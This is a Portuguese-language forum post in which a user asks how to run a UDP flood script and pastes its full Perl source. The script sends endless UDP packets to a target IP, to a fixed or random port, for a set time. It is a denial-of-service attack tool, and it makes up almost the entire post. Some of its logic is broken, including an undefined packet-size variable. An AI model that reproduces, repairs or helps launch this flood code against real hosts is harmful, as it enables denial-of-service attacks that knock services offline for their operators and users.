udp perl

esbornia
(usa Debian)

Enviado em 27/01/2017 - 04:50h

alguem pode me explicar como usar esse udp flood ? eu dou perl udp.pl ip porta 65500 800 e da isso udp.pl <ip> <port> <time> if arg1/2 =0, randports/continous packets.\n"

#!/usr/bin/perl

#####################################################

# udp flood.

#

# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.

#

# --/odix

######################################################



# pseudo-crippled by packetstorm to stop script kiddies.  

# exit(0);

#



use Socket;



$ARGC=@ARGV;



if ($ARGC !=3) {

 printf "$0 <ip> <port> <time>\n";

 printf "if arg1/2 =0, randports/continous packets.\n";

 exit(1);

}



my ($ip,$port,$size,$time);

 $ip=$ARGV[0];

 $port=$ARGV[1]; 

 $time=$ARGV[2];



socket(crazy, PF_INET, SOCK_DGRAM, 17);

    $iaddr = inet_aton("$ip");



printf "udp flood - odix\n";



if ($ARGV[1] ==0 && $ARGV[2] ==0) {

 goto randpackets;

}

if ($ARGV[1] !=0 && $ARGV[2] !=0) {

 system("(sleep $time;killall -9 udp) &");

 goto packets;

}

if ($ARGV[1] !=0 && $ARGV[2] ==0) {

 goto packets;

}

if ($ARGV[1] ==0 && $ARGV[2] !=0) {

 system("(sleep $time;killall -9 udp) &"); 

 goto randpackets;

}



packets:

for (;;) {

 $size=$rand x $rand x $rand;

 send(crazy, 0, $size, sockaddr_in($port, $iaddr));

} 



randpackets:

for (;;) {

 $size=$rand x $rand x $rand;

 $port=int(rand 65000) +1;

 send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}